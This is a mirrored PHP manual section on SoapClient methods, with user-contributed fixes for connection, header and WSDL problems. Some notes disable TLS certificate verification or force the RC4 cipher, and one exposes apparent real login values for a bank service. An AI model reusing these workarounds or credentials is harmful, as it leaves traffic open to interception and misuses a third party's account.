This function sets whether or not to use the SOAP error handler in the SOAP server. It will return the previous value. If set to TRUE, details of errors in a SoapServer application will be sent to the client as a SOAP fault message. If FALSE, the standard PHP error handler is used. The default is to send error to the client as SOAP fault message.

参数

handler

Set to TRUE to send error details to clients.

返回值

Returns the original value.

参见

  • set_error_handler() - 设置用户自定义的错误处理函数
  • set_exception_handler() - 设置用户自定义的异常处理函数

User Contributed Notes

There are no user contributed notes for this page.


The SoapClient class

(PHP 5, PHP 7)

简介

The SoapClient class provides a client for » SOAP 1.1, » SOAP 1.2 servers. It can be used in WSDL or non-WSDL mode.

类摘要

SoapClient {
/* 方法 */
public __call ( string $function_name , array $arguments ) : mixed
public __construct ( mixed $wsdl [, array $options ] )
public __doRequest ( string $request , string $location , string $action , int $version [, int $one_way = 0 ] ) : string
public __getCookies ( void ) : array
public __getFunctions ( void ) : array
public __getLastRequest ( void ) : string
public __getLastRequestHeaders ( void ) : string
public __getLastResponse ( void ) : string
public __getLastResponseHeaders ( void ) : string
public __getTypes ( void ) : array
public __setCookie ( string $name [, string $value ] ) : void
public __setLocation ([ string $new_location ] ) : string
public __setSoapHeaders ([ mixed $soapheaders ] ) : bool
public __soapCall ( string $function_name , array $arguments [, array $options [, mixed $input_headers [, array &$output_headers ]]] ) : mixed
public SoapClient ( mixed $wsdl [, array $options ] )
}

Table of Contents

  • SoapClient::__call — Calls a SOAP function (deprecated)
  • SoapClient::__construct — SoapClient constructor
  • SoapClient::__doRequest — Performs a SOAP request
  • SoapClient::__getCookies — Get list of cookies
  • SoapClient::__getFunctions — Returns list of available SOAP functions
  • SoapClient::__getLastRequest — Returns last SOAP request
  • SoapClient::__getLastRequestHeaders — Returns the SOAP headers from the last request
  • SoapClient::__getLastResponse — Returns last SOAP response
  • SoapClient::__getLastResponseHeaders — Returns the SOAP headers from the last response
  • SoapClient::__getTypes — Returns a list of SOAP types
  • SoapClient::__setCookie — The __setCookie purpose
  • SoapClient::__setLocation — Sets the location of the Web service to use
  • SoapClient::__setSoapHeaders — Sets SOAP headers for subsequent calls
  • SoapClient::__soapCall — Calls a SOAP function
  • SoapClient::SoapClient — SoapClient constructor

User Contributed Notes

David 15-Feb-2017 12:57
Under IIS and PHP 7, when creating an new SoapClient, it will through an internal 500 error.

This could be caused by invalid permissions to the wsdl cache directory when using 'cache_wsdl'=>WSDL_CACHE_DISK or WSDL_CACHE_BOTH.

This worked for me:
    try {
        $arrContextOptions=array("ssl"=>array( "verify_peer"=>false, "verify_peer_name"=>false,'crypto_method' => STREAM_CRYPTO_METHOD_TLS_CLIENT));

        $options = array(
                'soap_version'=>SOAP_1_2,
                'exceptions'=>true,
                'trace'=>1,
                'cache_wsdl'=>WSDL_CACHE_NONE,
                'stream_context' => stream_context_create($arrContextOptions)
        );
        $client = new SoapClient('https://url/dir/file.wsdl', $options);

    } catch (Exception $e) {
        echo "<h2>Exception Error!</h2>";
        echo $e->getMessage();
    }
sheikh303 at gmail dot com 13-Jan-2017 07:51
What is the core method to call remote WSDL file while creating SoapClient object?
is it CURL, wget or anyother?
Ricardo Pedrassani 03-Jun-2016 01:53
If the XML have identities with same name in different levels there is a solution. You don′t have to ever submit a raw XML (this PHP SOAP object don′t allows send a RAW XML), so you have to always translate your XML to a array, like the example below:

$originalXML = "
<xml>
  <firstClient>
      <name>someone</name>
      <adress>R. 1001</adress>
  </firstClient>
  <secondClient>
      <name>another one</name>
      <adress></adress>
  </secondClient>
</xml>"

//Translate the XML above in a array, like PHP SOAP function requires
$myParams = array('firstClient' => array('name' => 'someone',
                                  'adress' => 'R. 1001'),
            'secondClient' => array('name' => 'another one',
                                  'adress' => ''));

$webService = new SoapClient($someURL);
$result = $webService->someWebServiceFunction($myParams);
mcinantyspam at fejm dot pl 13-May-2016 11:32
Please note, that if you provide values that contain illegal xml characters (ASCII codes 0-8,  11-12, 14-15 - or x0-x8, xB-xC, xE-xF in hex), php's SoapClient will do send them in request, although such request is improper because it does not meet XML 1.0 requirements.
You always have to replace or remove these characters in your data before supplying them to SoapClient
info at nospam x valiton x com 13-Apr-2015 08:06
CAUTION:
I had quite a bit of trouble trying to make a request with fopen through a proxy to a secure url.  I kept getting a 400 Bad Request back from the remote host.  It was receiving the proxy url as the SNI host.  In order to get around this I had to explicity set the SNI host to the domain I was trying to reach.  It's apparently the issue outlined in this bug:

https://bugs.php.net/bug.php?id=63519

<?php
$domain = parse_url($file, PHP_URL_HOST);
$proxy_string = "tcp://" . WP_PROXY_HOST  . ":" . WP_PROXY_PORT;
$opts = array(
    'http' => array( 'proxy' => $proxy_string ),
    'ssl' => array( 'SNI_enabled' => true, 'SNI_server_name' => $domain));
$context = stream_context_create($opts);
$handle = fopen( $file, 'r', false, $context );
?>

src:
http://php.net/manual/en/context.http.php#114314
acopantepuy at gmail dot com 11-Apr-2015 02:45
when they want to pass variables into the http header that is how it is done:

<?php

$aHTTP['http']['header'] =  "User-Agent: PHP-SOAP/5.5.11\r\n";

$aHTTP['http']['header'].= "username: XXXXXXXXXXX\r\n"."password: XXXXX\r\n";

$context = stream_context_create($aHTTP);

$client=new SoapClient("https://ocppws-cert.extra.bcv.org.ve:443/AltoValor/BancoUniversal?WSDL",array('trace' => 1,"stream_context" => $context));

$result = $client->jornadaActiva();
var_dump($result);
?>
acopantepuy at gmail dot com 11-Apr-2015 02:42
when they want to pass variables into the http header that is how it is done:

<?php

$aHTTP['http']['header'] =  "User-Agent: PHP-SOAP/5.5.11\r\n";

$aHTTP['http']['header'].= "username: C1040001760102\r\n"."password: bcv2020\r\n";

$context = stream_context_create($aHTTP);

$client=new SoapClient("https://ocppws-cert.extra.bcv.org.ve:443/AltoValor/BancoUniversal?WSDL",array('trace' => 1,"stream_context" => $context));

$result = $client->jornadaActiva();
var_dump($result);
?>
romuloum at hotmail dot com 19-Feb-2015 04:22
After migrating to PHP 5.6.5, the soap 1.2 did not work anymore. So I solved the problem by adding optional parameters SSL.
My error: failed to load external entity
How to solve:
        // options for ssl in php 5.6.5
        $opts = array(
            'ssl' => array('ciphers'=>'RC4-SHA', 'verify_peer'=>false, 'verify_peer_name'=>false)
        );
        // SOAP 1.2 client
        $params = array ('encoding' => 'UTF-8', 'verifypeer' => false, 'verifyhost' => false, 'soap_version' => SOAP_1_2, 'trace' => 1, 'exceptions' => 1, "connection_timeout" => 180, 'stream_context' => stream_context_create($opts) );
        $oSoapClient = new SoapClient ( $url . "?WSDL", $params );
softontherocks at gmail dot com 22-Nov-2014 08:32
I posted in this URL http://softontherocks.blogspot.com/2014/02/web-service-soap-con-php.html a full example of a nusoap web service.

There is defined the server and the cliente who calls the web service.

I hope it would be useful for you.
martin dot schenck at plugsurfing dot com 15-Sep-2014 03:34
If you want to connect to a server that only supports SSLv2/3 and/or TLS 1.0 (no TLS 2 or 3), tell the SOAP client if you get a connection error by setting the appropriate stream context:
<?php
  $opts = array(
    'ssl' => array('ciphers'=>'RC4-SHA')
  );

  $objSoapClient = new SoapClient(
    'https://example.com/?wsdl',
    array ( "encoding"=>"ISO-8859-1",
    'stream_context' => stream_context_create($opts)
    // your options
    );
?>

You might need to disable the SOAP caching of WSDLs in order for the SOAP client to use the new context.
Stefan 03-Jun-2014 11:04
There is a known bug with some versions of Xdebug which can cause SoapClient to not throw an exception but instead cause a fatal error.

Surround the SoapClient call with xdebug_disable(); and xdebug_enable();  to work around this problem.

For reference:

http://bugs.xdebug.org/view.php?id=249
https://bugs.php.net/bug.php?id=47584
Anonymous 12-Sep-2013 09:25
I got the following error when trying to load the WSDL file:

Fatal error: Uncaught SoapFault exception: [WSDL] SOAP-ERROR: Parsing WSDL: <message> 'MessageName' already defined

In my case there was no double definitions but it was including other files - I think one of them contained a duplicate message with a different namespace (which SoapClient doesn't like).

I resolved it by loading the WSDL in SoapUI, right-clicking and selecting "Export definition". The WSDL that then got created worked fine. Hope this helps somebody.
Guillermo Prandi 20-Feb-2012 02:10
To make an HTTPS call with a client certificate, you can do it this way:

1) Create a file containing both the key and the signed certificate. I did this by concatenating my (.pem) key and the certificate I've got signed from my CA (also .pem format). The file looked like this:

-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKagQC1N27Ilb9pWil2NaX2qM8FquXBXK5T1AydOv7sCotsc8MAwbi7
......(snip)......
wAiOCD4K9TyMS76pIS8UyfJl/oIrn7EF24BUpaUfsh8=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC/zCCAmigAwIBAgIEAIl1JzANBgkqhkiG9w0BAQQuADBQMQswCQYxVQQGEaJV
......(snip)......
eSPds1hLKYSg0bd3uI7LhaDLOC1PPgb77sYe/uYkUWuHBzllts5x/pfue0zaIBKG
Omjy
-----END CERTIFICATE-----

2) Reference your certificate in the creation of the SOAP client, like this:

$protected_url = "https://my-server/?wsdl";
$my_cert_file = "/my/path/to/mycert.pem";

$client = new SoapClient($protected_url, array('local_cert', $my_cert_file) );
egiardina at badatmath dot com 03-Aug-2011 06:05
This one drove me nuts... if you are connecting to a web service run on Cassini, (Visual Studio's web server) from php, you may not be able to call web service functions or load a WSDL out-of-the-box.

My set up is that I am using xampp on my windows development machine, and also using Visual Studio's built in web-server. I built a web service in visual studio. I wrote a simple PHP script, running under xampp, to access this service, so the two projects can 'talk' to each other. What I found was the WSDL was never loaded.

So I moved the WSDL local to the PHP file and accessed it directly. Still no calls. Turns out, PHP's SoapClient seems to have a problem with 'localhost' as a web service endpoint. So I hand-edited the web service endpoint URL to read 127.0.0.1 instead of localhost, and Voila! Web Service calls work:

Here is my PHP, now working:
<?php
$client = new SoapClient("http://localhost/code/soap.wsdl");
$something =  $client->HelloWorld(array());
echo $something->HelloWorldResult;
die();

?>

Here is my modified WSDL:
  <wsdl:service name="MyService">
    <wsdl:port name="MyServiceSoap" binding="tns:MyServiceSoap">
      <soap:address location="http://127.0.0.1:55274/MyService/MyService.asmx" />
....

    </wsdl:port>
stepan dot zarubin at gmail dot com 30-Jun-2011 11:51
Well, this example works fine:

<?php
try {
    $x = @new SoapClient("non-existent.wsdl");
} catch (Exception $e) {
    echo $e->getMessage();
}
?>

Just make sure use NEW with @.
jjlopez 09-Mar-2011 11:36
If you are making soap calls in WSDL mode , and the address of your web service includes a port different from 80 (like http://my_ip_address:8080//service.asmx?wsdl), the WSDL file is fetched correctly, but all subsequent requests are made without any port in the host field. This causes a SoapFault exception when trying to call any of the service's methods.

You need to redefine the soapClient class and force the port in each call.

See this example:

http://www.victorstanciu.ro/php-soapclient-port-bug-workaround/
hugues at zonereseau dot com 17-Feb-2011 09:17
When you need to connect to services requiring to send extra header use this method.

Here how we can to it with PHP and SoapClient

<?php
class exampleChannelAdvisorAuth
{
    public $DeveloperKey;
    public $Password;

    public function __construct($key, $pass)
    {
        $this->DeveloperKey = $key;
        $this->Password = $pass;
    }
}

$devKey        = "";
$password    = "";
$accountId    = "";

// Create the SoapClient instance
$url         = "";
$client     = new SoapClient($url, array("trace" => 1, "exception" => 0));

// Create the header
$auth         = new ChannelAdvisorAuth($devKey, $password);
$header     = new SoapHeader("http://www.example.com/webservices/", "APICredentials", $auth, false);

// Call wsdl function
$result = $client->__soapCall("DeleteMarketplaceAd", array(
    "DeleteMarketplaceAd" => array(
        "accountID"        => $accountId,
        "marketplaceAdID"    => "9938745"        // The ads ID
    )
), NULL, $header);

// Echo the result
echo "<pre>".print_r($result, true)."</pre>";
if($result->DeleteMarketplaceAdResult->Status == "Success")
{
    echo "Item deleted!";
}
?>
fourat dot zouari at tritux dot com 20-Jun-2009 08:08
In addition to the KeepAlive trick which is a "server-side" modification, on the "client side" default_socket_timeout should be increased from its default value (60) when you deal with ~slow SOAP servers.
As for the KeepAlive, if creating a new separate vhost for the soap api is not possible, you can add this to your existing vhost: BrowserMatch "^PHP-SOAP" nokeepalive
where PHP-SOAP is the agent name of your soap client, if you dont know what agent name your client use, just checkout the access.log of your apache.
peter dot hansen at fastit dot net 01-May-2009 06:57
When you get errors like:
"Fatal error: Uncaught SoapFault exception: [HTTP] Error Fetching http headers in"
after a few (time intensive) SOAP-Calls, check your webserver-config.

Sometimes the webservers "KeepAlive"-Setting tends to result in this error. For SOAP-Environments I recommend you to disable KeepAlive.

Hint: It might be tricky to create a dedicated vhost for your SOAP-Gateways and disable keepalive just for this vhost because for normal webpages Keepalive is a nice speed-boost.


Calls a SOAP function (deprecated)

  • ? SoapClient
  • SoapClient::__construct ?
  • PHP Manual
  • SoapClient
  • Calls a SOAP function (deprecated)

SoapClient::__call

(PHP 5, PHP 7)

SoapClient::__call — Calls a SOAP function (deprecated)

说明

public SoapClient::__call ( string $function_name , array $arguments ) : mixed

Calling this method directly is deprecated. Usually, SOAP functions can be called as methods of the SoapClient object; in situations where this is not possible or additional options are needed, use SoapClient::__soapCall().

User Contributed Notes

philipp dot gruber at catchoftheday dot com dot au 07-Apr-2014 12:27
If you are using a WSDL, the library will strip out anything from your parameters that is not defined in WSDL, without giving you any notice about this.

So if your parameters are not fully matching the WSDL, it will simply send no parameters at all.
This can be a bit hard to debug if you don't have access to the target server.

__soapCall() expects parameters in an array called 'parameters' as opposed to calling the function via it's WSDL name, where it accepts the parameters as a plain array.

I.e. if a function called sendOrder expects a parameter (array) called orderDetails, you can call it like this:

$orderDetails = array(/* your data */);
$soap->sendOrder(array('orderDetails' => $orderDetails));

Which is equivalent to:

$client->__soapCall('sendOrder', array('parameters' => array('orderDetails' => $orderDetails)));

Note the additional 'parameters' key used in __soapCall().
KRavEN 17-Jun-2009 06:56
extend of __call thats adds a retry to handle the occasional 'Could not connect to host' exceptions

<?php
class LocalSoapClient extends SoapClient
{

  public function __call($function_name, $arguments)
  {
    $result = false;
    $max_retries = 5;
    $retry_count = 0;

    while(! $result && $retry_count < $max_retries)
    {
      try
      {
        $result = parent::__call($function_name, $arguments);
      }
      catch(SoapFault $fault)
      {
        if($fault->faultstring != 'Could not connect to host')
        {
          throw $fault;
        }
      }
      sleep(1);
      $retry_count ++;
    }
    if($retry_count == $max_retries)
    {
      throw new SoapFault('Could not connect to host after 5 attempts');
    }
    return $result;
  }
}
?>
bananos at dev dot co dot ua 11-Apr-2008 05:13
I'm writing PHP SOAP client (based on php_soap extension) which uses Google AdService,
today, I tried to create sample Ad using   AdService::addAds()  and discovered that my SOAP library does not pass
"headline", "description1", "description2"  parameters in SOAP request.

First, I thought that this was something wrong with my data, coz I was getting validation errors like
"One or more input elements failed validation."   Then I decided to take a look at WSDL description
https://adwords.google.com/api/adwords/v11/AdService?wsdl

And voilà !  I've found this:

<complexType name="Ad" abstract="true">
<sequence>
  <element name="adGroupId" type="xsd:int"/>
  <element name="adType" nillable="true" minOccurs="0" type="impl:AdType"/>
  <element name="destinationUrl" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="disapproved" type="xsd:boolean"/>
  <element name="displayUrl" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="exemptionRequest" nillable="true" minOccurs="0" type="xsd:string"/>
  <element name="id" type="xsd:long"/>
  <element name="status" nillable="true" minOccurs="0" type="impl:AdStatus"/>
</sequence>

</complexType>

There is no any ''description", "headline1", "headline2", however there is another complexType

<complexType name="TextAd">
    <complexContent>
    <extension base="impl:Ad">
    <sequence>

<element name="description1" nillable="true" type="xsd:string"/>
<element name="description2" nillable="true" type="xsd:string"/>
<element name="headline" nillable="true" type="xsd:string"/>
</sequence>

</extension>
</complexContent>
</complexType>

So, the thing is when you are working with php_soap be aware of complexType extensions which does not work in php_soap when you try to do things like:

<?php

$client = new
    SoapClient(
       "https://adwords.google.com/api/adwords/v11/AdService?wsdl",
        array(  'trace'      => true,
                'exceptions' => true,
             )

    );

$entropy     = substr(md5(rand(0, time())), 0, 10);
//create Ad test structure
$sample_ad =  array(
               "id" => 0,
               "adGroupId" => 0,
               "adType" => 'TextAd',
               "disapproved" => false,
               "destinationUrl" => 'http://test.com',
               "displayUrl" => 'www.Test.com',
               "status" => "Paused", //  Enabled / Disabled
               "descr_iption1" => 'D1_'.$entropy,
               "des_cription2" => 'D2_'.$entropy,
               "head_line" => 'H_'.$entropy
        );

$client->addAds(array('ads' => array($sample_ad) );
?>
Samil Abud 19-Dec-2007 12:00
Hi,
This is a good example, for the SOAP function "__call".
However it is deprecated.

<?php
$wsdl = "http://webservices.tekever.eu/ctt/?wsdl";
$int_zona = 5;
$int_peso = 1001;
$cliente = new SoapClient($wsdl);
print "<p>Envio Internacional: ";
$vem = $cliente->__call('CustoEMSInternacional',array($int_zona, $int_peso));
print $vem;
print "</p>";
?>


SoapClient constructor

  • ? SoapClient::__call
  • SoapClient::__doRequest ?
  • PHP Manual
  • SoapClient
  • SoapClient constructor

SoapClient::__construct

(PHP 5, PHP 7)

SoapClient::__construct — SoapClient constructor

说明

public SoapClient::__construct ( mixed $wsdl [, array $options ] )

此函数是该函数的别名： SoapClient::SoapClient()

User Contributed Notes

There are no user contributed notes for this page.


Performs a SOAP request

  • ? SoapClient::__construct
  • SoapClient::__getCookies ?
  • PHP Manual
  • SoapClient
  • Performs a SOAP request

SoapClient::__doRequest

(PHP 5, PHP 7)

SoapClient::__doRequest — Performs a SOAP request

说明

public SoapClient::__doRequest ( string $request , string $location , string $action , int $version [, int $one_way = 0 ] ) : string

Performs SOAP request over HTTP.

This method can be overridden in subclasses to implement different transport layers, perform additional XML processing or other purpose.

参数

request

The XML SOAP request.

location

The URL to request.

action

The SOAP action.

version

The SOAP version.

one_way

If one_way is set to 1, this method returns nothing. Use this where a response is not expected.

返回值

The XML SOAP response.

更新日志

版本 | 说明
5.1.3 | The one_way parameter was added.

范例

Example #1 SoapClient::__doRequest() example

<?php
function Add($x,$y) {
  return $x+$y;
}

class LocalSoapClient extends SoapClient {

  function __construct($wsdl, $options) {
    parent::__construct($wsdl, $options);
    $this->server = new SoapServer($wsdl, $options);
    $this->server->addFunction('Add');
  }

  function __doRequest($request, $location, $action, $version, $one_way = 0) {
    ob_start();
    $this->server->handle($request);
    $response = ob_get_contents();
    ob_end_clean();
    return $response;
  }

}

$x = new LocalSoapClient(NULL,array('location'=>'test://',
                                   'uri'=>'http://testuri.org'));
var_dump($x->Add(3,4));
?>

User Contributed Notes

tschallacka 22-Mar-2016 02:01
I just wanted to note in plain english how to build up this request, because I made some assumptions by just misterpreting the parameters.

This is for future reference(for myself) and others that might end up a bit mistified by just not understanding the finesses of soap and are trying to learn.

    $this->__doRequest(string $request , string $location , string $action , int $version [, int $one_way = 0 ] );

$request = The XML Soap enveloppe
$location = The url to the WSDL file. No matter that you defined this before when setting up the object, you need to reuse it here.
$action = the soap action to be performed. This is defined in the wsdl file and can be in the form of a single form or an url. it's just a parameter and might not be an actual valid url
$version = SOAP_1_1 =  content headers (Content-Type: text/xml; CHARSET=gb2312?)
                  SOAP_1_2 = content headers (Content-Type: application/soap+xml; CHARSET=gb2312; action="somesoapaction defined in $action")

If you send a SOAP_1_2 request to a SOAP_1_1 server you might get a reply in the following form

    HTTP/1.1 415 Cannot process the message because the content type 'application/soap+xml; CHARSET=gb2312; action="somesoapaction defined in $action"' was not the expected type 'text/xml; CHARSET=gb2312'.

You need to switch down to SOAP_1_1 in that case to get the proper formatting the server can understand
tbernard at qcsupply dot com 02-Feb-2015 05:08
If you're having trouble connecting to an authenticated SOAP service there's something important to note here.

__doRequest() is only used when a SOAPClient function is called, NOT when the WSDL if fetched and parsed.  That means if your WSDL file is not publicly accessible but also resides behind your authentication it won't be accessible by default.  Instead you'll have to create an overloaded stream wrapper and register it for whatever protocol (probably HTTP) you'll be using.
darren dot yee at emc dot com 13-Mar-2013 10:45
Note when extending __doRequest, calling __getLastRequest will probably report incorrect information unless you make sure to update the internal __last_request variable. Save yourself some headaches.

function __doRequest($request, $location, $action, $version) {
      $request = preg_replace('/abc/', 'def', $request);
      $ret = parent::__doRequest($request, $location, $action, $version);
      $this->__last_request = $request;
      return $ret;
}
alireza dot meskin at gmail 02-Apr-2012 12:29
Change Blocking mode for Socket stream and set Timeout for Soap requests

<?php

class TimeoutSoapClient extends SoapClient
{
    const TIMEOUT = 20;
    public function __doRequest($request, $location, $action, $version, $one_way = 0)
    {
        $url_parts = parse_url($location);
        $host = $url_parts['host'];
        $http_req = 'POST '.$location.' HTTP/1.0'."\r\n";
        $http_req .= 'Host: '.$host."\r\n";
        $http_req .= 'SoapAction: '.$action."\r\n";
        $http_req .= "\r\n";
        $http_req .= $request;
        $port = 80;
        if ($url_parts['scheme'] == 'https')
        {
            $port = 443;
            $host = 'ssl://'.$host;
        }
        $socket = fsockopen($host, $port);
        fwrite($socket, $request);
        stream_set_blocking($socket, false);
        $response = '';
        $stop = microtime(true) + self::TIMEOUT;
        while (!feof($socket))
        {
            $response .= fread($socket, 2000);
            if (microtime(true) > $stop)
            {
                throw new SoapFault('Client', 'HTTP timeout');
            }
        }
        return $response;
    }
}
bwhitehead at tableausoftware dot no dot com dot spam 12-Aug-2011 02:49
Note that the SoapClient.__doRequest() method circumvents the throwing of SoapFault exceptions.

Specifically, if you call the __doRequest() method and it fails, it would normally throw a SoapFault exception.  However, the __doRequest() method doesn't actually throw the exception. Instead, the exception is saved in a class attribute called SoapFault.__soap_fault, and is actually thrown AFTER the __doRequest method completes (but the call stack will show that the exception was created inside the __doRequest method.

I successfully used the following code to query the locally cached exception object that was not thrown:

<?php
$exception = null;
try {
    $result = parent::__doRequest($request, $location, $action, $version, $one_way);
}
catch (SoapFault $sf) {
    //this code was not reached
    $exception = $sf;
}
catch (Exception $e) {
    //nor was this code reached either
    $exception = $e;
}
if((isset($this->__soap_fault)) && ($this->__soap_fault != null)) {
    //this is where the exception from __doRequest is stored
    $exception = $this->__soap_fault;
}

//decide what to do about the exception here
// [enter code here]
//or throw the exception
if($exception != null) {
    throw $exception;
}
//note: you may want to unset the __soap_fault value if you don't want it thrown again up the call stack
?>
psfere at hotmail dot com 21-Sep-2010 09:52
I was needing to add a blank soap header (<SOAP-ENV:Header /> and found no other place that has done this.  The only way I was able to support this was to extend SoapClient and re-define __doRequest.  Hope this helps someone or if there is support for this in the library, please point me in the right direction:

<?php
class MySoapCli extends SoapClient {
  function __doRequest($request, $location, $action, $version) {
    $dom = new DomDocument('1.0', 'UTF-8');
    $dom->preserveWhiteSpace = false;
    $dom->loadXML($request);
    $hdr = $dom->createElementNS('http://schemas.xmlsoap.org/soap/envelope/', 'SOAP-ENV:Header');
    $dom->documentElement->insertBefore($hdr, $dom->documentElement->firstChild);
    $request = $dom->saveXML();
    return parent::__doRequest($request, $location, $action, $version);
  }
}
?>
lepidosteus 19-Nov-2009 02:59
If you happen to get an error during your request which says "SOAP-ERROR: Encoding: Can't decode apache map, only Strings or Longs are allowd as keys", the reason seems to be the response xml using integer for keys and php failling to understand them

Here is something that worked for me (converts integer keys to strings):

<?php
class mySoap extends SoapClient
{
    public function __doRequest($request, $location, $action, $version)
    {
        $result = parent::__doRequest($request, $location, $action, $version);
        $result = str_replace('<key xsi:type="xsd:int">', '<key xsi:type="xsd:string">', $result);
        return $result;
    }
}

// $soap = new mySoap(...
?>
Artur Graniszewski 08-Nov-2009 04:35
Beware of PHP incosistent behaviour in __doRequest() method. It seems that some arguments passed to this method are passed by reference!

If you try to create your own __doRequest() method and store it's arguments as SoapClient properties you will find that after __soapCall all of them will be null or unknown.

<?php
    protected $__soapAction = '';

    public function __doRequest($request, $location, $action, $version, $oneWay = 0) {
        ob_start();
        $this->server->handle($request);
        $response = ob_get_contents();
        ob_end_clean();
        $this->__soapAction = $action;
        return $response;
    }
?>

In above example $this->__soapAction will be null after $obj->__soapCall()..

To store $action value, you must cast it to a string (so PHP will be forced to create a new variable with different memory pointer):

<?php
    public function __doRequest($request, $location, $action, $version, $oneWay = 0) {
        ob_start();
        $this->server->handle($request);
        $response = ob_get_contents();
        ob_end_clean();
        $this->__soapAction = (string)$action;
        return $response;
    }
?>
james dot ellis at gmail dot com 04-Feb-2008 04:12
If your application interacts with SOAP services and you wish to cache the responses for consumption later, then overriding SoapClient::__doRequest is the way to go.

For instance, if you know that the information presented doesn't change that often and you don't want to do a superfluous HTTP request, you can grab a response from a local cache and let SoapClient do the transformation to PHP data types.

<?php
class YourNamespace_SoapClient_Local extends SoapClient {
    protected $cacheDocument = "";
    public function __construct($wsdl, $options) {
        parent::__construct($wsdl, $options);
    }

    /**
     * SetCacheDocument() sets the previously cached document contents
     */
    public function SetCacheDocument($document) {
        $this->cacheDocument = $document;
    }

    /**
     * __doRequest() overrides the standard SoapClient to handle a local request
     */
    public function __doRequest() {
        return $this->cacheDocument;
    }
}

//---- code snippet showing usage within a class
//$document is a cached SOAP response document from a previous request, saved with SoapClient::__getLastResponse() to some cache somewhere
//for the purpose of this example, it is assumed that $this->wsdl, $this->options, $this->method and $this->params are set.

public function SoapRequest($document) {
    $method = $this->method;
    if($document == "") {
        //uncached
        try {
            //default options
            $client = new SoapClient($this->wsdl, $this->options);
            $result = $client->$method($this->params);
            //send the response to the cache
            $this->CacheResponse($client->__getLastResponse());
        } catch(SoapFault $fault) {
            //log something
            return FALSE;
        }
    } else {
        //cached document
        try {
            /**
             * the WSDL needs to be set to allow the method to be called on the client object
             * and to trigger SoapClient to decode the response to native data types
             */
            $client = new YourNamespace_SoapClient_Local($this->wsdl, $this->options);
            $client->SetCacheDocument($document);
            $result = $client->$method($this->params);
        } catch (SoapFault $fault) {
            //log something
            return FALSE;
        }
    }
    return $result;
}
?>

I'll leave you to work out the caching, plenty of options there.. ;)
albert at jool dot nl 26-Mar-2007 06:28
If you want to communicate with a default configured ASP.NET server with SOAP 1.1 support, override your __doRequest with the following code. Adjust the namespace parameter, and all is good to go.

<?php
class MSSoapClient extends SoapClient {

    function __doRequest($request, $location, $action, $version) {
        $namespace = "http://tempuri.com";

        $request = preg_replace('/<ns1:(\w+)/', '<$1 xmlns="'.$namespace.'"', $request, 1);
        $request = preg_replace('/<ns1:(\w+)/', '<$1', $request);
        $request = str_replace(array('/ns1:', 'xmlns:ns1="'.$namespace.'"'), array('/', ''), $request);

        // parent call
        return parent::__doRequest($request, $location, $action, $version);
    }
}

$client = new MSSoapClient(...);
?>

Hope this will save people endless hours of fiddling...
jfitz at spacelink dot com 05-Dec-2006 09:56
Note that __getLastRequest() data are buffered _before_ the call to __doRequest().  Thus any modifications you make to the XML while in __doRequest() will not be visible in the output of __getLastRequest().   This is so in at least v5.2.0
06-Jul-2006 01:17
Do you have problems with the PHP5 SoapClient when you need to send a request to a service with a ComplexType parameter?

Maybe because my service is build in Delphi with REMObjects SDK 3.0 I had the problems, maybe not. Anyway, this was my remedy:
<?php
$versie = new stdClass();//define a basic class object
$versie->versieID = $aVersie->versieID();//fill it with the exact attributes as your complextype Object in the wsdl is
$versie->versieNummer = $aVersie->versieNummer();
$versie->isActief = $aVersie->isActief();

$soapVersieType = new SoapVar($versie , SOAP_ENC_OBJECT, "Versie", "http://127.0.0.1:8999/SOAP?wsdl"); //create the complex soap type, Versie is the name of my complex type in the wsdl, the latter url beeing the location of my wsdl.

try{
  $result =  $soapClient->BewaarVersie($this->sessieId,$soapVersieType); //BewaarVersie is a function derived from my WSDL with two params.
}
catch(SoapFault $e){
  trigger_error('Something soapy went wrong: '.$e->faultstring,E_USER_WARNING);            }
?>
After some more testing i found out that the conversion to the StdClass() object was not required. My 'Versie' local object has the attributes for the 'Versie' wsdl complex type defined as private vars and give no pain when i create the SoapVar with an instance of the local 'Versie' Object.
metator at netcabo dot pt 20-Oct-2005 04:32
You can use this method to correct the SOAP request before sending it, if necessary. You can use the DOM API to accomplish that.

<?php

public ExtendedClient extends SoapClient {

   function __construct($wsdl, $options = null) {
      parent::__construct($wsdl, $options);
   }

   function __doRequest($request, $location, $action, $version) {
      $dom = new DOMDocument('1.0');

      try {

         //loads the SOAP request to the Document
         $dom->loadXML($request);

      } catch (DOMException $e) {
         die('Parse error with code ' . $e->code);
      }

      //create a XPath object to query the request
      $path = new DOMXPath($dom);

      //search for a node
      $nodesToFix = $path->query('//SOAP-ENV:Envelope/SOAP-ENV:Body/path/to/node');

      //check if nodes are ok
      $this->checkNodes($path, $nodesToFix);

      //save the modified SOAP request
      $request = $dom->saveXML();

      //doRequest
      return parent::__doRequest($request, $location, $action, $version);
   }

   function checkNodes(DOMXPath $path, DOMNodeList $nodes) {
      //iterate through the node list
      for ($i = 0; $ < $nodes->length; $i++) {
         $aNode = $nodes->item($i);

         //just an example
         if ($node->nodeValue == null) {
            //do something. For instance, let's remove it.
            $node->parentNode->removeChild($node);
         }
      }
   }
}
?>

This gives the developer the chance to solve interoperability problems with a web service.


Get list of cookies

  • ? SoapClient::__doRequest
  • SoapClient::__getFunctions ?
  • PHP Manual
  • SoapClient
  • Get list of cookies

SoapClient::__getCookies

(PHP 5 >= 5.4.30, PHP 7)

SoapClient::__getCookies — Get list of cookies

说明

public SoapClient::__getCookies ( void ) : array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns list of available SOAP functions

  • ? SoapClient::__getCookies
  • SoapClient::__getLastRequest ?
  • PHP Manual
  • SoapClient
  • Returns list of available SOAP functions

SoapClient::__getFunctions

(PHP 5, PHP 7)

SoapClient::__getFunctions — Returns list of available SOAP functions

说明

public SoapClient::__getFunctions ( void ) : array

Returns an array of functions described in the WSDL for the Web service.

Note:

此函数仅在 WSDL 模式下生效。

参数

此函数没有参数。

返回值

The array of SOAP function prototypes, detailing the return type, the function name and type-hinted parameters.

范例

Example #1 SoapClient::__getFunctions() example

<?php
$client = new SoapClient('http://soap.amazon.com/schemas3/AmazonWebServices.wsdl');
var_dump($client->__getFunctions());
?>

以上例程会输出：

array(26) {
  [0]=>
  string(70) "ProductInfo KeywordSearchRequest(KeywordRequest $KeywordSearchRequest)"
  [1]=>
